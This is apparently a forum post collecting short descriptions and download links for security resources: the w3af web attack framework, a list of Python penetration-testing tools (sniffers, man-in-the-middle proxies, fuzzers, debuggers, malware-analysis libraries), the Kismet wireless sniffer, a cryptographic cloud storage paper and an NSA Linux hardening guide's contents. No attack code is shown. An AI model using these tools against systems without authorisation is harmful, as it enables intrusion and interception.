Nytro

w3af w3af, is a Web Application Attack and Audit Framework. The w3af core and it's plugins are fully written in python. The project has more than 130 plugins, which check for SQL injection, cross site scripting (xss), local and remote file inclusion and much Proiect: http://w3af.sourceforge.net/ Download: http://sourceforge.net/projects/w3af/files/w3af/w3af%201.0-rc6/w3af%201.0%20rc6%20setup.exe/download

Python tools for penetration testers If you are involved in vulnerability research, reverse engineering or penetration testing, I suggest to try out the Python programming language. It has a rich set of useful libraries and programs. This page lists some of them. Most of the listed tools are written in Python, others are just Python bindings for existing C libraries, i.e. they make those libraries easily usable from Python programs. Some of the more aggressive tools (pentest frameworks, bluetooth smashers, web application vulnerability scanners, war-dialers, etc.) are left out, because the legal situation of these tools is still a bit unclear in Germany -- even after the decision of the highest court. This list is clearly meant to help whitehats, and for now I prefer to err on the safe side. Network Scapy: send, sniff and dissect and forge network packets. Usable interactively or as a library pypcap, Pcapy and pylibpcap: several different Python bindings for libpcap libdnet: low-level networking routines, including interface lookup and Ethernet frame transmission dpkt: fast, simple packet creation/parsing, with definitions for the basic TCP/IP protocols Impacket: craft and decode network packets. Includes support for higher-level protocols such as NMB and SMB pynids: libnids wrapper offering sniffing, IP defragmentation, TCP stream reassembly and port scan detection Dirtbags py-pcap: read pcap files without libpcap flowgrep: grep through packet payloads using regular expressions httplib2: comprehensive HTTP client library that supports many features left out of other HTTP libraries Knock Subdomain Scan, enumerate subdomains on a target domain through a wordlist Mallory, man-in-the-middle proxy for testing mitmproxy: SSL-capable, intercepting HTTP proxy. Console interface allows traffic flows to be inspected and edited on the fly Debugging and reverse engineering Paimei: reverse engineering framework, includes PyDBG, PIDA, pGRAPH Immunity Debugger: scriptable GUI and command line debugger IDAPython: IDA Pro plugin that integrates the Python programming language, allowing scripts to run in IDA Pro PyEMU: fully scriptable IA-32 emulator, useful for malware analysis pefile: read and work with Portable Executable (aka PE) files pydasm: Python interface to the libdasm x86 disassembling library PyDbgEng: Python wrapper for the Microsoft Windows Debugging Engine uhooker: intercept calls to API calls inside DLLs, and also arbitrary addresses within the executable file in memory diStorm64: disassembler library for AMD64, licensed under the BSD license python-ptrace: debugger using ptrace (Linux, BSD and Darwin system call to trace processes) written in Python Fuzzing Sulley: fuzzer development and fuzz testing framework consisting of multiple extensible components Peach Fuzzing Platform: extensible fuzzing framework for generation and mutation based fuzzing antiparser: fuzz testing and fault injection API TAOF, including ProxyFuzz, a man-in-the-middle non-deterministic network fuzzer untidy: general purpose XML fuzzer Powerfuzzer: highly automated and fully customizable web fuzzer (HTTP protocol based application fuzzer) FileP: file fuzzer. Generates mutated files from a list of source files and feeds them to an external program in batches SMUDGE Mistress: probe file formats on the fly and protocols with malformed data, based on pre-defined patterns Fuzzbox: multi-codec media fuzzer Forensic Fuzzing Tools: generate fuzzed files, fuzzed file systems, and file systems containing fuzzed files in order to test the robustness of forensics tools and examination systems Windows IPC Fuzzing Tools: tools used to fuzz applications that use Windows Interprocess Communication mechanisms WSBang: perform automated security testing of SOAP based web services Construct: library for parsing and building of data structures (binary or textual). Define your data structures in a declarative manner fuzzer.py (feliam): simple fuzzer by Felipe Andres Manzano Fusil: Python library used to write fuzzing programs Web ProxMon: processes proxy logs and reports discovered issues WSMap: find web service endpoints and discovery files Twill: browse the Web from a command-line interface. Supports automated Web testing Windmill: web testing tool designed to let you painlessly automate and debug your web application FunkLoad: functional and load web tester Forensics Volatility: extract digital artifacts from volatile memory (RAM) samples SandMan: read the hibernation file, regardless of Windows version LibForensics: library for developing digital forensics applications TrIDLib, identify file types from their binary signatures. Now includes Python binding Malware analysis pyew: command line hexadecimal editor and disassembler, mainly to analyze malware Exefilter: filter file formats in e-mails, web pages or files. Detects many common file formats and can remove active content pyClamAV: add virus detection capabilities to your Python software jsunpack-n, generic JavaScript unpacker: emulates browser functionality to detect exploits that target browser and browser plug-in vulnerabilities yara-python: identify and classify malware samples PDF Didier Stevens' PDF tools: analyse, identify and create PDF files (includes PDFiD, pdf-parser and make-pdf and mPDF) Opaf: Open PDF Analysis Framework. Converts PDF to an XML tree that can be analyzed and modified. Origapy: Python wrapper for the Origami Ruby module which sanitizes PDF files pyPDF: pure Python PDF toolkit: extract info, spilt, merge, crop, encrypt, decrypt... PDFMiner: extract text from PDF files python-poppler-qt4: Python binding for the Poppler PDF library, including Qt4 support Misc InlineEgg: toolbox of classes for writing small assembly programs in Python Exomind: framework for building decorated graphs and developing open-source intelligence modules and ideas, centered on social network services, search engines and instant messaging RevHosts: enumerate virtual hosts for a given IP address simplejson: JSON encoder/decoder, e.g. to use Google's AJAX API PyMangle: command line tool and a python library used to create word lists for use with other penetration testing tools Hachoir: view and edit a binary stream field by field Other useful libraries and tools IPython: enhanced interactive Python shell with many features for object introspection, system shell access, and its own special command system Beautiful Soup: HTML parser optimized for screen-scraping matplotlib: make 2D plots of arrays Mayavi: 3D scientific data visualization and plotting RTGraph3D: create dynamic graphs in 3D Twisted: event-driven networking engine Suds: lightweight SOAP client for consuming Web Services M2Crypto: most complete OpenSSL wrapper NetworkX: graph library (edges, nodes) pyparsing: general parsing module lxml: most feature-rich and easy-to-use library for working with XML and HTML in the Python language Pexpect: control and automate other programs, similar to Don Libes `Expect` system Sikuli, visual technology to search and automate GUIs using screenshots. Scriptable in Jython PyQt and PySide: Python bindings for the Qt application framework and GUI library For more libaries, please have a look at PyPI, the Python Package Index. Download links: http://dirk-loss.de/python-tools.htm

Free Security List Index 1. Realtime protection 2. Scanners 3. Tools for virus removal 4. Online-scanners 5. Firewalls 6. HIPS 7. System hardening-HIPS 8. System hardening 9. Sandboxing/virtualization 10. Vulnerability scanning and updates 11. Browser security 12. IP-blocking/hardening 13. Privacy 14. System monitoring 15. Network traffic monitoring 16. System cleaning 17. Data rescue 18. Encrypting 19. Backup 20. System rescue 21. Miscellaneous 22. Tests and malware analysis tools 23. Vista/Windows 7 specific security What's new http://www.techsupportalert.com/content/probably-best-free-security-list-world.htm

Kismet What is Kismet? Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and (with appropriate hardware) can sniff 802.11b, 802.11a, 802.11g, and 802.11n traffic. Kismet also supports plugins which allow sniffing other media such as DECT. Kismet identifies networks by passively collecting packets and detecting standard named networks, detecting (and given time, decloaking) hidden networks, and infering the presence of nonbeaconing networks via data traffic. Features 802.11b, 802.11g, 802.11a, 802.11n sniffing Standard PCAP file logging (Wireshark, Tcpdump, etc) Client/Server modular architecture Multi-card and channel hopping support Runtime WEP decoding Tun/Tap virtual network interface drivers for realtime export of packets Hidden SSID decloaking Distributed remote sniffing with Kismet drones XML logging for integration with other tools Linux, OSX, Windows, and BSD support (devices and drivers permitting) Download: http://www.kismetwireless.net/download.shtml

Cryptographic Cloud Storage Seny Kamara Microsoft Research senyk@microsoft.com Kristin Lauter Microsoft Research klauter@microsoft.com Abstract We consider the problem of building a secure cloud storage service on top of a public cloud in- frastructure where the service provider is not completely trusted by thecustomer. We describe,at a high level, several architectures that combine recent and non-standard cryptographic primitives in order to achieve our goal. We survey the benets such an architecture would provide to both customers and service providers and give an overview of recent advances in cryptography motivated specically by cloud storage. Download: http://research.microsoft.com/pubs/112576/crypto-cloud.pdf

Guide to the Secure Configuration of Red Hat Enterprise Linux 5 Revision 4.1 February 28, 2011 Operating Systems Division Unix Team of the Systems and Network Analysis Center National Security Agency 9800 Savage Rd. Suite 6704 Ft. Meade, MD 20755-6704 Table of Contents 1 Introduction 13 1.1 General Principles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.1.1 Encrypt Transmitted Data Whenever Possible . . . . . . . . . . . . . . . . . . . . . . . . 13 1.1.2 Minimize Software to Minimize Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.1.3 Run Different Network Services on Separate Systems . . . . . . . . . . . . . . . . . . . . . 13 1.1.4 Configure Security Tools to Improve System Robustness . . . . . . . . . . . . . . . . . . . 14 1.1.5 Least Privilege . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.2 How to Use This Guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.2.1 Read Sections Completely and in Order . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.2.2 Test in Non-Production Environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.2.3 Root Shell Environment Assumed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 1.2.4 Formatting Conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 1.2.5 Reboot Required . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 2 System-wide Configuration 17 2.1 Installing and Maintaining Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 2.1.1 Initial Installation Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 2.1.1.1 Disk Partitioning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 2.1.1.2 Boot Loader Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 2.1.1.3 Network Devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2.1.1.4 Root Password . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2.1.1.5 Software Packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2.1.1.6 First-boot Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2.1.2 Updating Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 2.1.2.1 Configure Connection to the RHN RPM Repositories . . . . . . . . . . . . . . . 20 2.1.2.2 Disable the rhnsd Daemon . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.1.2.3 Obtain Software Package Updates with yum . . . . . . . . . . . . . . . . . . . . . 21 2.1.3 Software Integrity Checking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.1.3.1 Configure AIDE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 2.1.3.2 Verify Package Integrity Using RPM . . . . . . . . . . . . . . . . . . . . . . . . . 24 2.2 File Permissions and Masks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 2.2.1 Restrict Partition Mount Options . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 2.2.1.1 Add nodev Option to Non-Root Local Partitions . . . . . . . . . . . . . . . . . . 25 2.2.1.2 Add nodev, nosuid, and noexec Options to Removable Storage Partitions . . . 26 2.2.1.3 Add nodev, nosuid, and noexec Options to Temporary Storage Partitions . . . 26 2.2.1.4 Bind-mount /var/tmp to /tmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 2.2.2 Restrict Dynamic Mounting and Unmounting of Filesystems . . . . . . . . . . . . . . . . 27 2.2.2.1 Restrict Console Device Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 2.2.2.2 Disable USB Device Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 4 TABLE OF CONTENTS 2.2.2.3 Disable the Automounter if Possible . . . . . . . . . . . . . . . . . . . . . . . . . 28 2.2.2.4 Disable GNOME Automounting if Possible . . . . . . . . . . . . . . . . . . . . . 29 2.2.2.5 Disable Mounting of Uncommon Filesystem Types . . . . . . . . . . . . . . . . . 29 2.2.2.6 Disable All GNOME Thumbnailers if Possible . . . . . . . . . . . . . . . . . . . 30 2.2.3 Verify Permissions on Important Files and Directories . . . . . . . . . . . . . . . . . . . . 30 2.2.3.1 Verify Permissions on passwd, shadow, group and gshadow Files . . . . . . . . . 30 2.2.3.2 Verify that All World-Writable Directories Have Sticky Bits Set . . . . . . . . . 31 2.2.3.3 Find Unauthorized World-Writable Files . . . . . . . . . . . . . . . . . . . . . . 31 2.2.3.4 Find Unauthorized SUID/SGID System Executables . . . . . . . . . . . . . . . . 31 2.2.3.5 Find and Repair Unowned Files . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 2.2.3.6 Verify that All World-Writable Directories Have Proper Ownership . . . . . . . 33 2.2.4 Restrict Programs from Dangerous Execution Patterns . . . . . . . . . . . . . . . . . . . . 33 2.2.4.1 Set Daemon umask . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 2.2.4.2 Disable Core Dumps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 2.2.4.3 Enable ExecShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 2.2.4.4 Enable Execute Disable (XD) or No Execute (NX) Support on 32-bit x86 Systems 35 2.2.4.5 Configure Prelink . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 2.3 Account and Access Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 2.3.1 Protect Accounts by Restricting Password-Based Login . . . . . . . . . . . . . . . . . . . 37 2.3.1.1 Restrict Root Logins to System Console . . . . . . . . . . . . . . . . . . . . . . . 37 2.3.1.2 Limit su Access to the Root Account . . . . . . . . . . . . . . . . . . . . . . . . 38 2.3.1.3 Configure sudo to Improve Auditing of Root Access . . . . . . . . . . . . . . . . 39 2.3.1.4 Block Shell and Login Access for Non-Root System Accounts . . . . . . . . . . . 39 2.3.1.5 Verify Proper Storage and Existence of Password Hashes . . . . . . . . . . . . . 40 2.3.1.6 Verify that No Non-Root Accounts Have UID 0 . . . . . . . . . . . . . . . . . . 40 2.3.1.7 Set Password Expiration Parameters . . . . . . . . . . . . . . . . . . . . . . . . . 41 2.3.1.8 Remove Legacy ’+’ Entries from Password Files . . . . . . . . . . . . . . . . . . 42 2.3.2 Use Unix Groups to Enhance Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 2.3.2.1 Create a Unique Default Group for Each User . . . . . . . . . . . . . . . . . . . 42 2.3.2.2 Create and Maintain a Group Containing All Human Users . . . . . . . . . . . . 42 2.3.3 Protect Accounts by Configuring PAM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 2.3.3.1 Set Password Quality Requirements . . . . . . . . . . . . . . . . . . . . . . . . . 43 2.3.3.2 Set Lockouts for Failed Password Attempts . . . . . . . . . . . . . . . . . . . . . 44 2.3.3.3 Use pam deny.so to Quickly Deny Access to a Service . . . . . . . . . . . . . . . 45 2.3.3.4 Restrict Execution of userhelper to Console Users . . . . . . . . . . . . . . . . 45 2.3.3.5 Upgrade Password Hashing Algorithm to SHA-512 . . . . . . . . . . . . . . . . . 46 2.3.3.6 Limit Password Reuse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 2.3.3.7 Remove the pam ccreds Package if Possible . . . . . . . . . . . . . . . . . . . . . 47 2.3.4 Secure Session Configuration Files for Login Accounts . . . . . . . . . . . . . . . . . . . . 47 2.3.4.1 Ensure that No Dangerous Directories Exist in Root’s Path . . . . . . . . . . . . 47 2.3.4.2 Ensure that User Home Directories are not Group-Writable or World-Readable . 48 2.3.4.3 Ensure that User Dot-Files are not World-writable . . . . . . . . . . . . . . . . . 48 2.3.4.4 Ensure that Users Have Sensible Umask Values . . . . . . . . . . . . . . . . . . . 49 2.3.4.5 Ensure that Users do not Have .netrc Files . . . . . . . . . . . . . . . . . . . . 49 2.3.5 Protect Physical Console Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49 2.3.5.1 Set BIOS Password . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 2.3.5.2 Set Boot Loader Password . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 2.3.5.3 Require Authentication for Single-User Mode . . . . . . . . . . . . . . . . . . . . 50 2.3.5.4 Disable Interactive Boot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 2.3.5.5 Implement Inactivity Time-out for Login Shells . . . . . . . . . . . . . . . . . . . 51 2.3.5.6 Configure Screen Locking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 2.3.5.7 Disable Unnecessary Ports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 TABLE OF CONTENTS 5 2.3.6 Use a Centralized Authentication Service . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 2.3.7 Warning Banners for System Accesses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 2.3.7.1 Modify the System Login Banner . . . . . . . . . . . . . . . . . . . . . . . . . . 54 2.3.7.2 Implement a GUI Warning Banner . . . . . . . . . . . . . . . . . . . . . . . . . . 54 2.4 SELinux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 2.4.1 How SELinux Works . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 2.4.2 Enable SELinux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56 2.4.2.1 Ensure SELinux is Properly Enabled . . . . . . . . . . . . . . . . . . . . . . . . 56 2.4.3 Disable Unnecessary SELinux Daemons . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57 2.4.3.1 Disable and Remove SETroubleshoot if Possible . . . . . . . . . . . . . . . . . . 57 2.4.3.2 Disable MCS Translation Service (mcstrans) if Possible . . . . . . . . . . . . . . 57 2.4.3.3 Restorecon Service (restorecond) . . . . . . . . . . . . . . . . . . . . . . . . . . 58 2.4.4 Check for Unconfined Daemons . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 2.4.5 Check for Unlabeled Device Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 2.4.6 Debugging SELinux Policy Errors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 2.4.7 Further Strengthening . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 2.4.7.1 Strengthen the Default SELinux Boolean Configuration . . . . . . . . . . . . . . 61 2.4.7.2 Use a Stronger Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 2.4.8 SELinux References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 2.5 Network Configuration and Firewalls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 2.5.1 Kernel Parameters which Affect Networking . . . . . . . . . . . . . . . . . . . . . . . . . . 62 2.5.1.1 Network Parameters for Hosts Only . . . . . . . . . . . . . . . . . . . . . . . . . 62 2.5.1.2 Network Parameters for Hosts and Routers . . . . . . . . . . . . . . . . . . . . . 63 2.5.1.3 Ensure System is Not Acting as a Network Sniffer . . . . . . . . . . . . . . . . . 63 2.5.2 Wireless Networking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64 2.5.2.1 Remove Wireless Hardware if Possible . . . . . . . . . . . . . . . . . . . . . . . . 64 2.5.2.2 Disable Wireless Through Software Configuration . . . . . . . . . . . . . . . . . 64 2.5.3 IPv6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65 2.5.3.1 Disable Support for IPv6 unless Needed . . . . . . . . . . . . . . . . . . . . . . . 65 2.5.3.2 Configure IPv6 Settings if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . 66 2.5.4 TCP Wrapper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68 2.5.4.1 How TCP Wrapper Protects Services . . . . . . . . . . . . . . . . . . . . . . . . 68 2.5.4.2 Reject All Connections From Other Hosts if Appropriate . . . . . . . . . . . . . 69 2.5.4.3 Allow Connections Only From Hosts in This Domain if Appropriate . . . . . . . 69 2.5.4.4 Monitor Syslog for Relevant Connections and Failures . . . . . . . . . . . . . . . 69 2.5.4.5 Further Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 2.5.5 Iptables and Ip6tables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 2.5.5.1 Inspect and Activate Default Rules . . . . . . . . . . . . . . . . . . . . . . . . . 70 2.5.5.2 Understand the Default Ruleset . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 2.5.5.3 Strengthen the Default Ruleset . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 2.5.5.4 Further Strengthening . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 2.5.5.5 Further Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 2.5.6 Secure Sockets Layer Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 2.5.6.1 Create a CA to Sign Certificates . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 2.5.6.2 Create SSL Certificates for Servers . . . . . . . . . . . . . . . . . . . . . . . . . . 77 2.5.6.3 Enable Client Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78 2.5.6.4 Further Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79 2.5.7 Uncommon Network Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79 2.5.7.1 Disable Support for DCCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79 2.5.7.2 Disable Support for SCTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 2.5.7.3 Disable Support for RDS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 2.5.7.4 Disable Support for TIPC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 6 TABLE OF CONTENTS 2.5.8 IPsec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 2.5.8.1 Using Openswan for IPsec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 2.6 Logging and Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 2.6.1 Configure Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 2.6.1.1 Configure Syslog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82 2.6.1.2 Configure Rsyslog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84 2.6.1.3 Logrotate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85 2.6.1.4 Logwatch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86 2.6.2 System Accounting with auditd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 2.6.2.1 Enable the auditd Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88 2.6.2.2 Configure auditd Data Retention . . . . . . . . . . . . . . . . . . . . . . . . . . 88 2.6.2.3 Enable Auditing for Processes Which Start Prior to the Audit Daemon . . . . . 89 2.6.2.4 Configure auditd Rules for Comprehensive Auditing . . . . . . . . . . . . . . . 89 2.6.2.5 Summarize and Review Audit Logs using aureport . . . . . . . . . . . . . . . . 93 3 Services 95 3.1 Disable All Unneeded Services at Boot Time . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 3.1.1 Determine which Services are Enabled at Boot . . . . . . . . . . . . . . . . . . . . . . . . 95 3.1.2 Guidance on Default Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 3.1.3 Guidance for Unfamiliar Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96 3.2 Obsolete Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 3.2.1 Inetd and Xinetd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 3.2.2 Telnet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 3.2.2.1 Remove Telnet Clients . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 3.2.3 Rlogin, Rsh, and Rcp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98 3.2.3.1 Remove the Rsh Server Commands from the System . . . . . . . . . . . . . . . . 98 3.2.3.2 Remove .rhosts Support from PAM Configuration Files . . . . . . . . . . . . . 98 3.2.3.3 Remove the Rsh Client Commands from the System . . . . . . . . . . . . . . . . 98 3.2.4 NIS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 3.2.5 TFTP Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 3.2.6 Talk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 3.2.6.1 Remove talk-server Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 3.2.6.2 Remove talk Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 3.3 Base Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 3.3.1 Installation Helper Service (firstboot) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 3.3.2 Console Mouse Service (gpm) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 3.3.3 Interrupt Distribution on Multiprocessor Systems (irqbalance) . . . . . . . . . . . . . . 100 3.3.4 ISDN Support (isdn) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101 3.3.4.1 Remove the isdn4k-utils Package if Possible . . . . . . . . . . . . . . . . . . . . . 101 3.3.5 Kdump Kernel Crash Analyzer (kdump) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101 3.3.6 Kudzu Hardware Probing Utility (kudzu) . . . . . . . . . . . . . . . . . . . . . . . . . . . 101 3.3.7 Software RAID Monitor (mdmonitor) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102 3.3.8 IA32 Microcode Utility (microcode ctl) . . . . . . . . . . . . . . . . . . . . . . . . . . . 102 3.3.9 Network Service (network) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102 3.3.9.1 Disable All Networking if Not Needed . . . . . . . . . . . . . . . . . . . . . . . . 102 3.3.9.2 Disable All External Network Interfaces if Not Needed . . . . . . . . . . . . . . 102 3.3.9.3 Disable Zeroconf Networking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103 3.3.10 Smart Card Support (pcscd) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103 3.3.11 SMART Disk Monitoring Support (smartd) . . . . . . . . . . . . . . . . . . . . . . . . . . 103 3.3.12 Boot Caching (readahead early/readahead later) . . . . . . . . . . . . . . . . . . . . . 103 3.3.13 Application Support Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 3.3.13.1 D-Bus IPC Service (messagebus) . . . . . . . . . . . . . . . . . . . . . . . . . . 104 TABLE OF CONTENTS 7 3.3.13.2 HAL Daemon (haldaemon) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 3.3.14 Bluetooth Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105 3.3.14.1 Bluetooth Host Controller Interface Daemon (bluetooth) . . . . . . . . . . . . . 105 3.3.14.2 Bluetooth Input Devices (hidd) . . . . . . . . . . . . . . . . . . . . . . . . . . . 105 3.3.14.3 Disable Bluetooth Kernel Modules . . . . . . . . . . . . . . . . . . . . . . . . . . 106 3.3.15 Power Management Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106 3.3.15.1 Advanced Power Management Subsystem (apmd) . . . . . . . . . . . . . . . . . . 106 3.3.15.2 Advanced Configuration and Power Interface (acpid) . . . . . . . . . . . . . . . 106 3.3.15.3 CPU Throttling (cpuspeed) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 3.3.16 Infrared Communications (irda) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 3.3.16.1 Disable the irda Service if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . 107 3.3.16.2 Remove the irda-utils Package if Possible . . . . . . . . . . . . . . . . . . . . . . 107 3.3.17 Raw Devices (rawdevices) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 3.3.17.1 Disable the Raw Devices Daemon if Possible . . . . . . . . . . . . . . . . . . . . 107 3.4 Cron and At Daemons . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 3.4.1 Disable anacron if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108 3.4.2 Restrict Permissions on Files Used by cron . . . . . . . . . . . . . . . . . . . . . . . . . . 108 3.4.3 Disable at if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 3.4.4 Restrict at and cron to Authorized Users . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 3.5 SSH Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 3.5.1 Disable OpenSSH Server if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 3.5.1.1 Disable and Remove OpenSSH Software . . . . . . . . . . . . . . . . . . . . . . . 110 3.5.1.2 Remove SSH Server iptables Firewall Exception . . . . . . . . . . . . . . . . . 110 3.5.2 Configure OpenSSH Server if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110 3.5.2.1 Ensure Only Protocol 2 Connections Allowed . . . . . . . . . . . . . . . . . . . . 110 3.5.2.2 Limit Users’ SSH Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110 3.5.2.3 Set Idle Timeout Interval for User Logins . . . . . . . . . . . . . . . . . . . . . . 111 3.5.2.4 Disable .rhosts Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 3.5.2.5 Disable Host-Based Authentication . . . . . . . . . . . . . . . . . . . . . . . . . 111 